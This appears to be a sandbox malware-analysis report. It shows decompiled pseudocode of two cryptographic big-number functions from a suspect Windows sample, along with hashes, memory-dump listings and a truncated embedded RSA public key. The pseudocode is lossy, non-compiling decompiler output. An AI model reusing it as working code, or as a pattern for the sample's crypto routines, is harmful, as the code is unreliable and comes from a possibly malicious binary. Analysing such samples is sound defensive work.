Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: Crypt$Context$Release$AcquireRandom
String ID:
API String ID: 2916321625-0
Opcode ID: 8b7b24637634b3112239989489dd146719c84025322e29e411a90563a0469016
Instruction ID: 3032f552dd67a63a190505ef8f16ece60460b0b39e43014d1f5dcf95edab1dad
Opcode Fuzzy Hash: 8b7b24637634b3112239989489dd146719c84025322e29e411a90563a0469016
Instruction Fuzzy Hash: 12012135B0869581E7409B25F88032AB760FB89BD4F544531DF9857B68DF3CD4518B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3718FB0 Relevance: 1.5, Strings: 1, Instructions: 299
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00007FF77FF7E3718FB0(long long __rax, long long __rbx, long long __rdi, long long __r8, long long __r15) {
				void* __rsi;
				void* __rbp;
				void* __r12;
				void* __r13;
				void* __r14;
				void* _t117;
				void* _t124;
				signed int _t126;
				void* _t142;
				void* _t171;
				void* _t178;
				signed int _t179;
				void* _t184;
				signed int _t194;
				long long _t195;
				void* _t233;
				long long _t234;
				long long* _t237;
				long long* _t239;
				long long* _t241;
				long long _t242;
				void* _t249;
				void* _t250;
				void* _t278;
				signed long long _t283;
				void* _t297;
				intOrPtr _t298;
				void* _t303;
				void* _t304;
				void* _t306;
				void* _t307;
				signed int _t313;
				signed long long _t314;
				signed long long _t315;
				void* _t326;
				void* _t329;
				void* _t330;
				void* _t331;
				void* _t333;
				intOrPtr _t334;
				void* _t336;

				_t338 = __r15;
				_t295 = __rdi;
				_t242 = __rbx;
				 *((long long*)(_t306 + 0x20)) = __rbx;
				 *((long long*)(_t306 + 0x18)) = __r8;
				_t304 = _t306 - 0x2f;
				_t307 = _t306 - 0x90;
				_t334 =  *0xe3765f38; // 0x19335136310
				 *(_t304 - 0x31) = 1;
				 *(_t304 - 0x29) = __rax;
				 *((long long*)(_t304 - 0x21)) = __rax;
				_t7 = _t334 + 0x28; // 0x19335136338
				 *(_t304 - 0x19) = 1;
				 *(_t304 - 0x11) = __rax;
				 *((long long*)(_t304 - 9)) = __rax;
				 *(_t304 - 1) = 1;
				 *(_t304 + 7) = __rax;
				 *((long long*)(_t304 + 0xf)) = __rax;
				if (E00007FF77FF7E371F7F0(__rax, __rbx, _t7, _t278, _t297, _t304) != 0) goto 0xe3719408;
				_t14 = _t297 + 2; // 0x2
				r8d = _t14;
				_t15 = _t334 + 0x58; // 0x19335136368, executed
				_t117 = E00007FF77FF7E3724C90(_t171, _t178, _t184, _t242, _t15, _t278, _t326, _t329, _t330, _t331, _t334); // executed
				if (_t117 != 0) goto 0xe3719408;
				 *((long long*)(_t307 + 0xc8)) = __r15;
				 *((long long*)(_t307 + 0xc0)) = __rdi;
				asm("o16 nop [eax+eax]");
				r8d = 2;
				_t18 = _t334 + 0x70; // 0x19335136380
				if (E00007FF77FF7E3724C90(_t171, _t178, _t184, _t242, _t18, _t278, _t326, _t329, _t330, _t331, _t334) != 0) goto 0xe3719364;
				_t179 =  *(_t334 + 0x58);
				if (_t179 *  *(_t334 + 0x70) <= 0) goto 0xe37190c4;
				_t21 = _t334 + 0x70; // 0x19335136380
				_t22 = _t334 + 0x58; // 0x19335136368
				if (E00007FF77FF7E37202D0(_t179 *  *(_t334 + 0x70), _t22, _t21) < 0) goto 0xe37190a5;
				_t24 = _t334 + 0x70; // 0x19335136380
				_t25 = _t334 + 0x58; // 0x19335136368
				if (E00007FF77FF7E37206A0(_t242, _t304 - 0x31, _t25, __rdi, _t297, _t304, _t24, _t329, _t336, _t333) != 0) goto 0xe37190bf;
				 *(_t304 - 0x31) = _t179;
				goto 0xe37190ec;
				_t27 = _t334 + 0x58; // 0x19335136368
				_t28 = _t334 + 0x70; // 0x19335136380
				if (E00007FF77FF7E37206A0(_t242, _t304 - 0x31, _t28, _t295, _t297, _t304, _t27, _t329, _t331, _t297) != 0) goto 0xe37190bf;
				 *(_t304 - 0x31) =  ~_t179;
				goto 0xe37190ec;
				goto 0xe37190e4;
				_t31 = _t334 + 0x70; // 0x19335136380
				_t32 = _t334 + 0x58; // 0x19335136368
				_t249 = _t304 - 0x31;
				_t124 = E00007FF77FF7E3720580(0, _t242, _t249, _t32, _t297, _t31);
				_t126 =  ==  ?  *(_t304 - 0x31) :  *(_t304 - 0x31);
				 *(_t304 - 0x31) = _t126;
				if (_t124 != 0) goto 0xe3719360;
				_t313 =  *(_t304 - 0x29);
				_t298 =  *((intOrPtr*)(_t304 - 0x21));
				_t194 = _t313;
				if (_t194 == 0) goto 0xe37192ae;
				_t314 = _t313 - 1;
				if (_t194 == 0) goto 0xe3719110;
				_t195 =  *((long long*)(_t298 + _t314 * 8));
				if (_t195 != 0) goto 0xe3719110;
				_t315 = _t314 - 1;
				if (_t195 != 0) goto 0xe3719103;
				_t283 =  *((intOrPtr*)(_t298 + _t315 * 8));
				if ((0x00000000 & _t283) != 0) goto 0xe371915b;
				if ((0x00000000 & _t283) != 0) goto 0xe3719158;
				if ((0x00000000 & _t283) != 0) goto 0xe3719152;
				if ((0x00000000 & _t283) != 0) goto 0xe371914c;
				_t250 = _t249 + 4;
				if (_t250 - 0x40 < 0) goto 0xe3719120;
				goto 0xe371915b;
				goto 0xe371915b;
				goto 0xe371915b;
				_t233 = (_t315 + 1 << 6) - _t250 + 6;
				if (_t233 - 0x39d <= 0) goto 0xe37192ae;
				if (_t126 >= 0) goto 0xe37191a8;
				asm("inc ecx");
				asm("inc ecx");
				asm("repne inc ecx");
				asm("inc ecx");
				asm("repne inc ecx");
				asm("repne inc ecx");
				asm("inc ecx");
				asm("repne inc ecx");
				r8d = 1;
				_t51 = _t334 + 0x58; // 0x19335136368
				_t52 = _t334 + 0x58; // 0x19335136368
				if (E00007FF77FF7E37209F0(_t126, _t242, _t52, _t51, _t298, _t304, _t315, _t303) != 0) goto 0xe3719364;
				_t53 = _t233 + 1; // 0x1
				r8d = _t53;
				_t54 = _t334 + 0x70; // 0x19335136380
				_t55 = _t334 + 0x70; // 0x19335136380
				if (E00007FF77FF7E37209F0(_t127, _t242, _t55, _t54, _t298, _t304, _t315) != 0) goto 0xe3719364;
				_t56 = _t334 + 0x70; // 0x19335136380
				_t57 = _t334 + 0x58; // 0x19335136368
				if (E00007FF77FF7E3721620(_t126, 0, _t242, _t304 - 0x31, _t57, _t295, _t298, _t56, _t330, _t331, _t336, __r15) != 0) goto 0xe3719360;
				_t60 = _t334 + 0x28; // 0x19335136338
				if (E00007FF77FF7E3722FB0(0, _t184, E00007FF77FF7E3721620(_t126, 0, _t242, _t304 - 0x31, _t57, _t295, _t298, _t56, _t330, _t331, _t336, __r15), _t242, _t304 - 0x19, _t60, _t298, _t304 - 0x31, _t330) != 0) goto 0xe3719360;
				_t234 = _t304 + 0x6f;
				 *((long long*)(_t304 + 0x6f)) = 1;
				 *((long long*)(_t304 + 0x27)) = _t234;
				 *(_t304 + 0x17) = 1;
				 *((long long*)(_t304 + 0x1f)) = 1;
				if (E00007FF77FF7E3720380(_t304 - 0x19, _t304 + 0x17) != 0) goto 0xe37192aa;
				_t69 = _t334 + 0x70; // 0x19335136380
				_t70 = _t334 + 0x58; // 0x19335136368
				if (E00007FF77FF7E3722FB0(0, _t184, E00007FF77FF7E3720380(_t304 - 0x19, _t304 + 0x17), _t242, _t304 - 0x19, _t70, _t298, _t69, _t330) != 0) goto 0xe3719360;
				if (E00007FF77FF7E37219F0(E00007FF77FF7E3722FB0(0, _t184, E00007FF77FF7E3720380(_t304 - 0x19, _t304 + 0x17), _t242, _t304 - 0x19, _t70, _t298, _t69, _t330), _t304 - 1, _t70, _t304 - 0x31, _t304 - 0x19) != 0) goto 0xe3719360;
				_t76 = _t334 + 0x28; // 0x19335136338
				_t77 = _t334 + 0x40; // 0x19335136350
				if (E00007FF77FF7E37234B0(E00007FF77FF7E37219F0(E00007FF77FF7E3722FB0(0, _t184, E00007FF77FF7E3720380(_t304 - 0x19, _t304 + 0x17), _t242, _t304 - 0x19, _t70, _t298, _t69, _t330), _t304 - 1, _t70, _t304 - 0x31, _t304 - 0x19), _t77, _t76, _t304 - 1) != 0) goto 0xe3719360;
				_t78 = _t334 + 0x40; // 0x19335136350
				E00007FF77FF7E371F8C0(_t78);
				if (_t234 - 0x400 > 0) goto 0xe37192cc;
				r8d = 2;
				_t80 = _t334 + 0x58; // 0x19335136368
				if (E00007FF77FF7E3724C90(0, _t126, _t184, _t242, _t80, _t76, _t304 - 0x19, _t329, _t330, _t331, _t334) == 0) goto 0xe3719050;
				goto 0xe3719364;
				r8d = 1;
				_t81 = _t334 + 0x58; // 0x19335136368
				_t82 = _t334 + 0x58; // 0x19335136368
				if (E00007FF77FF7E3720930(_t136, _t242, _t82, _t81,  *((intOrPtr*)(_t304 - 0x21)), _t304, _t304 - 1) != 0) goto 0xe3719360;
				_t83 = _t234 + 1; // 0x1
				r8d = _t83;
				_t84 = _t334 + 0x70; // 0x19335136380
				_t85 = _t334 + 0x70; // 0x19335136380
				if (E00007FF77FF7E3720930(_t137, _t242, _t85, _t84,  *((intOrPtr*)(_t304 - 0x21)), _t304, _t304 - 1) != 0) goto 0xe3719360;
				_t86 = _t334 + 0x70; // 0x19335136380
				_t87 = _t334 + 0x58; // 0x19335136368
				_t88 = _t334 + 0x10; // 0x19335136320
				if (E00007FF77FF7E3721620(_t126, 0, _t242, _t88, _t87, _t295,  *((intOrPtr*)(_t304 - 0x21)), _t86, _t330, _t331, _t336, _t338) != 0) goto 0xe3719360;
				_t89 = _t334 + 0x10; // 0x19335136320
				E00007FF77FF7E371F930(_t234, _t89);
				 *((long long*)(_t334 + 8)) = _t234;
				_t91 = _t334 + 0xa0; // 0x193351363b0
				_t92 = _t334 + 0xb8; // 0x193351363c8
				 *((long long*)(_t307 + 0x28)) = _t92;
				_t94 = _t334 + 0x88; // 0x19335136398
				 *((long long*)(_t307 + 0x20)) = _t91;
				_t96 = _t334 + 0x40; // 0x19335136350
				_t97 = _t334 + 0x58; // 0x19335136368
				_t98 = _t334 + 0x70; // 0x19335136380
				if (E00007FF77FF7E372D0A0(0, _t242, _t97, _t98, _t295,  *((intOrPtr*)(_t304 - 0x21)), _t96, _t94, _t329, _t330) != 0) goto 0xe3719360;
				_t142 = E00007FF77FF7E3719560(E00007FF77FF7E372D0A0(0, _t242, _t97, _t98, _t295,  *((intOrPtr*)(_t304 - 0x21)), _t96, _t94, _t329, _t330), _t92, _t334, _t98, _t295,  *((intOrPtr*)(_t304 - 0x21)), _t304, _t336);
				if ( *((intOrPtr*)(_t304 - 0x21)) == 0) goto 0xe37193a4;
				if ( *(_t304 - 0x29) * 8 == 0) goto 0xe371939c;
				_t237 =  *0xe3754598; // 0x7ff7e373b860
				 *_t237();
				E00007FF77FF7E373FEDC(_t237,  *((intOrPtr*)(_t304 - 0x21)));
				if ( *((intOrPtr*)(_t304 - 9)) == 0) goto 0xe37193d2;
				if ( *(_t304 - 0x11) * 8 == 0) goto 0xe37193cd;
				_t239 =  *0xe3754598; // 0x7ff7e373b860
				 *_t239();
				E00007FF77FF7E373FEDC(_t239,  *((intOrPtr*)(_t304 - 9)));
				if ( *((intOrPtr*)(_t304 + 0xf)) == 0) goto 0xe3719400;
				if ( *(_t304 + 7) * 8 == 0) goto 0xe37193fb;
				_t241 =  *0xe3754598; // 0x7ff7e373b860
				 *_t241();
				E00007FF77FF7E373FEDC(_t241,  *((intOrPtr*)(_t304 + 0xf)));
				if (_t142 != 0) goto 0xe3719408;
				goto 0xe3719416;
				E00007FF77FF7E371BAF0(_t334,  *((intOrPtr*)(_t307 + 0xc0)),  *((intOrPtr*)(_t304 - 0x21)));
				_t113 = _t242 - 0x4180; // -16768
				return _t113;
			}

0x7ff7e3718fb0
0x7ff7e3718fb0
0x7ff7e3718fb0
0x7ff7e3718fb0
0x7ff7e3718fb5
0x7ff7e3718fc2
0x7ff7e3718fc7
0x7ff7e3718fce
0x7ff7e3718fdc
0x7ff7e3718fe3
0x7ff7e3718fe9
0x7ff7e3718fed
0x7ff7e3718ff1
0x7ff7e3718ff8
0x7ff7e3718ffc
0x7ff7e3719000
0x7ff7e3719007
0x7ff7e371900b
0x7ff7e3719018
0x7ff7e371901e
0x7ff7e371901e
0x7ff7e3719022
0x7ff7e3719026
0x7ff7e371902f
0x7ff7e3719035
0x7ff7e371903d
0x7ff7e3719045
0x7ff7e3719050
0x7ff7e3719056
0x7ff7e3719063
0x7ff7e3719069
0x7ff7e3719076
0x7ff7e3719078
0x7ff7e371907c
0x7ff7e371908b
0x7ff7e371908d
0x7ff7e3719091
0x7ff7e371909e
0x7ff7e37190a0
0x7ff7e37190a3
0x7ff7e37190a5
0x7ff7e37190a9
0x7ff7e37190b6
0x7ff7e37190ba
0x7ff7e37190bd
0x7ff7e37190c2
0x7ff7e37190c4
0x7ff7e37190c8
0x7ff7e37190cc
0x7ff7e37190d0
0x7ff7e37190dc
0x7ff7e37190e1
0x7ff7e37190e6
0x7ff7e37190ec
0x7ff7e37190f0
0x7ff7e37190f4
0x7ff7e37190f7
0x7ff7e37190fd
0x7ff7e3719101
0x7ff7e3719103
0x7ff7e3719108
0x7ff7e371910a
0x7ff7e371910e
0x7ff7e3719110
0x7ff7e3719123
0x7ff7e371912b
0x7ff7e3719133
0x7ff7e371913b
0x7ff7e3719140
0x7ff7e3719148
0x7ff7e371914a
0x7ff7e3719150
0x7ff7e3719156
0x7ff7e3719163
0x7ff7e371916c
0x7ff7e3719174
0x7ff7e3719176
0x7ff7e371917b
0x7ff7e3719180
0x7ff7e3719186
0x7ff7e371918b
0x7ff7e3719194
0x7ff7e371919a
0x7ff7e371919f
0x7ff7e37191a8
0x7ff7e37191ae
0x7ff7e37191b2
0x7ff7e37191bf
0x7ff7e37191c5
0x7ff7e37191c5
0x7ff7e37191c9
0x7ff7e37191cd
0x7ff7e37191da
0x7ff7e37191e0
0x7ff7e37191e4
0x7ff7e37191f5
0x7ff7e37191ff
0x7ff7e3719210
0x7ff7e3719216
0x7ff7e371921a
0x7ff7e3719226
0x7ff7e371922e
0x7ff7e3719235
0x7ff7e3719244
0x7ff7e3719246
0x7ff7e371924a
0x7ff7e371925b
0x7ff7e3719278
0x7ff7e3719282
0x7ff7e3719286
0x7ff7e3719293
0x7ff7e3719299
0x7ff7e371929d
0x7ff7e37192a8
0x7ff7e37192ae
0x7ff7e37192b4
0x7ff7e37192c1
0x7ff7e37192c7
0x7ff7e37192cc
0x7ff7e37192d2
0x7ff7e37192d6
0x7ff7e37192e3
0x7ff7e37192e5
0x7ff7e37192e5
0x7ff7e37192e9
0x7ff7e37192ed
0x7ff7e37192fa
0x7ff7e37192fc
0x7ff7e3719300
0x7ff7e3719304
0x7ff7e3719311
0x7ff7e3719313
0x7ff7e3719317
0x7ff7e371931c
0x7ff7e3719320
0x7ff7e3719327
0x7ff7e371932e
0x7ff7e3719333
0x7ff7e371933a
0x7ff7e371933f
0x7ff7e3719343
0x7ff7e3719347
0x7ff7e3719354
0x7ff7e3719359
0x7ff7e3719377
0x7ff7e3719388
0x7ff7e371938a
0x7ff7e3719396
0x7ff7e371939f
0x7ff7e37193ab
0x7ff7e37193bc
0x7ff7e37193be
0x7ff7e37193c7
0x7ff7e37193cd
0x7ff7e37193d9
0x7ff7e37193ea
0x7ff7e37193ec
0x7ff7e37193f5
0x7ff7e37193fb
0x7ff7e3719402
0x7ff7e3719406
0x7ff7e371940b
0x7ff7e3719410
0x7ff7e371942d

Strings

-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo, xrefs: 00007FF7E3718FBC

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo
API String ID: 0-2951210353
Opcode ID: 546412b3587e0a87fcc5cca9364c59891c97d3c4c8f78ce00daf9cabcda9dfce
Instruction ID: 1786e7e4dfb3cdcb1e1ef86259fb54330fb21c99e2441ca7db26294323593e9e
Opcode Fuzzy Hash: 546412b3587e0a87fcc5cca9364c59891c97d3c4c8f78ce00daf9cabcda9dfce
Instruction Fuzzy Hash: C2D19322B14A8B95EBD0EB65C4847EE77A8EF4D348FC10033DA0DA3695EE38D956C351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3724300 Relevance: .6, Instructions: 556
COMMONCrypto

Download Yara Rule

C-Code - Quality: 60%

			E00007FF77FF7E3724300(void* __ebx, void* __ebp, long long __rbx, signed int* __rcx, long long __rdx, long long __rdi, long long __r8, long long __r9, void* __r10, void* __r11, long long __r12, long long __r13, long long __r14, long long __r15) {
				void* __rsi;
				void* __rbp;
				void* _t220;
				void* _t224;
				signed char _t226;
				void* _t227;
				void* _t244;
				void* _t283;
				void* _t290;
				void* _t291;
				void* _t304;
				long long _t312;
				long long _t320;
				long long _t329;
				long long _t331;
				void* _t341;
				long long _t349;
				long long _t351;
				void* _t368;
				void* _t381;
				void* _t400;
				void* _t405;
				signed long long _t407;
				long long _t410;
				long long* _t411;
				long long* _t413;
				long long* _t415;
				long long* _t416;
				long long* _t418;
				signed int* _t420;
				signed long long _t421;
				signed long long _t423;
				void* _t428;
				intOrPtr* _t434;
				void* _t435;
				void* _t438;
				void* _t439;
				void* _t457;
				void* _t462;
				signed long long _t487;
				signed long long _t488;
				long long _t505;
				signed long long _t506;
				signed long long _t507;
				signed int _t509;
				signed int _t517;
				void* _t519;
				long long* _t520;
				void* _t522;
				void* _t523;
				signed long long _t535;
				signed long long _t536;
				signed long long _t537;
				signed long long _t538;
				void* _t541;
				void* _t562;
				void* _t567;
				signed int _t571;
				intOrPtr _t575;
				intOrPtr _t586;

				_t567 = __r11;
				_t562 = __r10;
				_t505 = __rdi;
				_t290 = __ebp;
				_t381 = _t522;
				 *((long long*)(_t381 + 0x20)) = __r9;
				 *((long long*)(_t381 + 0x18)) = __r8;
				 *((long long*)(_t381 + 0x10)) = __rdx;
				 *((long long*)(_t381 + 8)) = __rcx;
				_t5 = _t381 - 0x98; // -5402926248376769563
				_t520 = _t5;
				_t523 = _t522 - 0x188;
				 *((long long*)(_t381 - 0x18)) = __rbx;
				_t420 = __rcx;
				 *((long long*)(_t381 - 0x20)) = __rdi;
				 *((long long*)(_t381 - 0x28)) = __r12;
				r12d =  *__rcx;
				 *((long long*)(_t381 - 0x30)) = __r13;
				 *((long long*)(_t381 - 0x38)) = __r14;
				 *((long long*)(_t381 - 0x40)) = __r15;
				r15d = 0;
				 *(_t523 + 0x50) = 1;
				_t13 = _t523 + 0x68; // -5402926248376769323
				 *(_t523 + 0x58) = __r15;
				 *((long long*)(_t523 + 0x60)) = __r15;
				r14d = r15d;
				 *(_t523 + 0x70) = 1;
				 *(_t523 + 0x78) = __r15;
				 *(_t520 - 0x80) = __r15;
				 *(_t520 - 0x78) = 1;
				 *(_t520 - 0x70) = __r15;
				 *((long long*)(_t520 - 0x68)) = __r15;
				 *(_t523 + 0x30) = 1;
				 *(_t523 + 0x38) = __r15;
				 *((long long*)(_t523 + 0x40)) = __r15;
				 *(_t520 - 0x48) = 1;
				 *(_t520 - 0x40) = __r15;
				 *((long long*)(_t520 - 0x38)) = __r15;
				 *((long long*)(_t523 + 0x68)) = 1;
				 *(_t520 - 0x60) = 1;
				 *((long long*)(_t520 - 0x58)) = 1;
				 *((long long*)(_t520 - 0x50)) = _t13;
				if (r12d <= 0) goto 0xe3724411;
				_t32 = _t520 - 0x60; // -5402926248376769659
				if (E00007FF77FF7E37202D0(_t220, __rcx, _t32) < 0) goto 0xe37243ee;
				_t34 = _t520 - 0x60; // -5402926248376769659
				if (E00007FF77FF7E37206A0(__rcx, _t523 + 0x50, __rcx, __rdi, _t517, _t520, _t34, _t562, _t517, _t519) != 0) goto 0xe372440a;
				 *(_t523 + 0x50) = r12d;
				goto 0xe372443d;
				_t36 = _t520 - 0x60; // -5402926248376769659
				if (E00007FF77FF7E37206A0(_t420, _t523 + 0x50, _t36, _t505, _t517, _t520, _t420, _t562) != 0) goto 0xe372440a;
				r12d =  ~r12d;
				 *(_t523 + 0x50) = r12d;
				goto 0xe372443d;
				r12d =  *(_t523 + 0x50);
				goto 0xe3724435;
				_t39 = _t520 - 0x60; // -5402926248376769659
				_t428 = _t523 + 0x50;
				_t224 = E00007FF77FF7E3720580(_t223, _t420, _t428, _t420, _t517, _t39);
				_t226 =  ==  ? r12d :  *(_t523 + 0x50);
				r12d = _t226;
				 *(_t523 + 0x50) = _t226;
				if (_t224 != 0) goto 0xe3724a37;
				_t571 =  *(_t523 + 0x58);
				 *((long long*)(_t523 + 0x48)) = __r15;
				_t586 =  *((intOrPtr*)(_t523 + 0x60));
				if (_t571 == 0) goto 0xe3724489;
				asm("o16 nop [eax+eax]");
				if ((_t226 & 0x00000001) != 0) goto 0xe372448e;
				 *((long long*)(_t523 + 0x48)) = __r15 + 1;
				if (_t428 + 1 - 0x40 < 0) goto 0xe3724466;
				if (__r15 + 1 - _t571 < 0) goto 0xe3724460;
				 *((long long*)(_t523 + 0x48)) = _t505;
				if (_t571 != 0) goto 0xe37244a8;
				 *(_t523 + 0x70) = 1;
				 *(_t523 + 0x78) = _t517;
				 *(_t520 - 0x80) = _t517;
				goto 0xe3724513;
				_t421 = _t571 - 1;
				if (_t421 == 0) goto 0xe37244bd;
				_t304 =  *((intOrPtr*)(_t586 + _t421 * 8)) - _t517;
				if (_t304 != 0) goto 0xe37244bd;
				if (_t304 != 0) goto 0xe37244b1;
				 *(_t523 + 0x70) = r12d;
				_t423 = _t421 - 1 + 1;
				if (_t304 == 0) goto 0xe37244dd;
				_t227 = E00007FF77FF7E371F340(_t423, _t523 + 0x70, _t423);
				_t283 = _t227;
				if (_t227 == 0) goto 0xe37244f7;
				goto 0xe372450b;
				E00007FF77FF7E373B860(0, 0, r15d, _t291, _t423 * 8, _t423, _t505,  ~(_t423 * 8));
				E00007FF77FF7E373BC10(0, r15d, _t283, _t291,  *(_t520 - 0x80), _t586, _t505, _t517, _t423 * 8);
				if (_t283 != 0) goto 0xe3724a41;
				if (E00007FF77FF7E37201D0(__ebx, 0, _t523 + 0x70,  *((intOrPtr*)(_t523 + 0x48)), _t505, _t567) != 0) goto 0xe3724a41;
				 *((long long*)(_t523 + 0x68)) = _t505;
				if ( *((intOrPtr*)(_t520 + 0xa8)) - _t505 <= 0) goto 0xe3724a41;
				_t434 = _t523 + 0x30;
				if (E00007FF77FF7E3723330(0, _t423, _t434,  *( *((intOrPtr*)(_t520 + 0xa0)) + 8) << 3, _t505, _t517, _t520,  *((intOrPtr*)(_t520 + 0xb0)),  *((intOrPtr*)(_t520 + 0xb8)), _t562) != 0) goto 0xe3724a2b;
				_t506 =  *(_t523 + 0x38);
				_t575 =  *((intOrPtr*)(_t523 + 0x40));
				if (_t506 != 0) goto 0xe3724591;
				r9d = 0;
				goto 0xe3724606;
				_t535 = _t506 - 1;
				if (_t535 == 0) goto 0xe37245ad;
				asm("o16 nop [eax+eax]");
				_t312 =  *((long long*)(_t575 + _t535 * 8));
				if (_t312 != 0) goto 0xe37245ad;
				_t536 = _t535 - 1;
				if (_t312 != 0) goto 0xe37245a0;
				_t487 =  *((intOrPtr*)(_t575 + _t536 * 8));
				if ((_t487 & 0x00000000) != 0) goto 0xe37245fb;
				if ((_t487 & 0x00000000) != 0) goto 0xe37245f8;
				if ((_t487 & 0x00000000) != 0) goto 0xe37245f2;
				if ((_t487 & 0x00000000) != 0) goto 0xe37245ec;
				_t435 = _t434 + 4;
				if (_t435 - 0x40 < 0) goto 0xe37245c0;
				goto 0xe37245fb;
				goto 0xe37245fb;
				goto 0xe37245fb;
				_t438 = _t435 + 6;
				if (_t571 != 0) goto 0xe3724610;
				r8d = 0;
				goto 0xe372467b;
				_t537 = _t571 - 1;
				if (_t537 == 0) goto 0xe372462d;
				_t320 =  *((long long*)(_t586 + _t537 * 8));
				if (_t320 != 0) goto 0xe372462d;
				_t538 = _t537 - 1;
				if (_t320 != 0) goto 0xe3724620;
				_t488 =  *((intOrPtr*)(_t586 + _t538 * 8));
				if ((_t488 & 0x00000000) != 0) goto 0xe3724671;
				if ((_t488 & 0x00000000 >> 0x00000001) != 0) goto 0xe372466e;
				if ((_t488 & 0x00000000 >> 0x00000001 >> 0x00000001) != 0) goto 0xe3724668;
				if ((_t488 & 0x00000000 >> 0x00000001 >> 0x00000001 >> 0x00000001) != 0) goto 0xe3724662;
				_t439 = _t438 + 4;
				if (_t439 - 0x40 < 0) goto 0xe3724636;
				goto 0xe3724671;
				goto 0xe3724671;
				goto 0xe3724671;
				_t541 = (_t538 + 1 << 6) - _t439 + 6;
				if ((_t536 + 1 << 6) - _t438 - _t541 <= 0) goto 0xe37246a4;
				r8b = r8b - (( *(_t523 + 0x38) & 0x000000ff) + 0xff << 6);
				 *(_t575 + _t506 * 8 - 8) =  *(_t575 + _t506 * 8 - 8) & (_t488 << _t541 + 0x000000ff) - 0x00000001;
				if (0 - 0x1e > 0) goto 0xe3724987;
				if (_t506 == 0) goto 0xe37246d0;
				_t329 =  *((long long*)(_t575 + (_t506 - 1) * 8));
				if (_t329 != 0) goto 0xe37246d0;
				_t507 = _t506 - 1;
				if (_t329 != 0) goto 0xe37246c0;
				if (_t571 == 0) goto 0xe37246f0;
				_t331 =  *((long long*)(_t586 + (_t571 - 1) * 8));
				if (_t331 != 0) goto 0xe37246f0;
				_t400 = _t571 - 1;
				if (_t331 != 0) goto 0xe37246e0;
				if (_t507 != 0) goto 0xe3724706;
				if (_t400 == 0) goto 0xe3724768;
				if (_t400 - _t507 <= 0) goto 0xe3724711;
				goto 0xe372476a;
				if (_t400 - _t507 >= 0) goto 0xe37246fd;
				goto 0xe372476a;
				if ( *(_t523 + 0x30) <= 0) goto 0xe3724725;
				if (r12d >= 0) goto 0xe3724728;
				goto 0xe372476a;
				if (r12d <= 0) goto 0xe3724733;
				if (1 >= 0) goto 0xe3724733;
				goto 0xe372476a;
				if (_t507 == 0) goto 0xe3724768;
				asm("o16 nop [eax+eax]");
				_t341 =  *((intOrPtr*)(_t575 - 8 + _t507 * 8)) -  *((intOrPtr*)(_t586 - _t575 + _t575 - 8 + _t507 * 8));
				if (_t341 > 0) goto 0xe372476a;
				if (_t341 < 0) goto 0xe3724702;
				if (_t341 != 0) goto 0xe3724750;
				if (0 >= 0) goto 0xe3724542;
				_t122 = _t520 - 0x30; // -5402926248376769611
				 *((long long*)(_t520 - 0x30)) = 1;
				_t124 = _t520 - 0x10; // -5402926248376769579
				 *_t520 = _t122;
				 *(_t520 - 0x10) = 1;
				 *((long long*)(_t520 - 8)) = 1;
				if (E00007FF77FF7E3720380(_t523 + 0x30, _t124) <= 0) goto 0xe3724542;
				_t129 = _t520 - 0x48; // -5402926248376769635
				 *((long long*)(_t523 + 0x20)) = _t129;
				_t244 = E00007FF77FF7E37227C0(1, _t231, _t290, E00007FF77FF7E3720380(_t523 + 0x30, _t124), _t423, _t523 + 0x30, _t523 + 0x30, _t507 - 1, _t517, _t523 + 0x70,  *((intOrPtr*)(_t520 + 0xa0)), 0, _t567); // executed
				if (_t244 != 0) goto 0xe3724a2b;
				if (E00007FF77FF7E3720380(_t523 + 0x30, _t523 + 0x50) == 0) goto 0xe3724a05;
				_t136 = _t520 - 0x28; // -5402926248376769603
				 *((long long*)(_t520 - 0x28)) = 1;
				_t138 = _t520 + 8; // -5402926248376769555
				 *((long long*)(_t520 + 0x18)) = _t136;
				 *(_t520 + 8) = 1;
				 *((long long*)(_t520 + 0x10)) = 1;
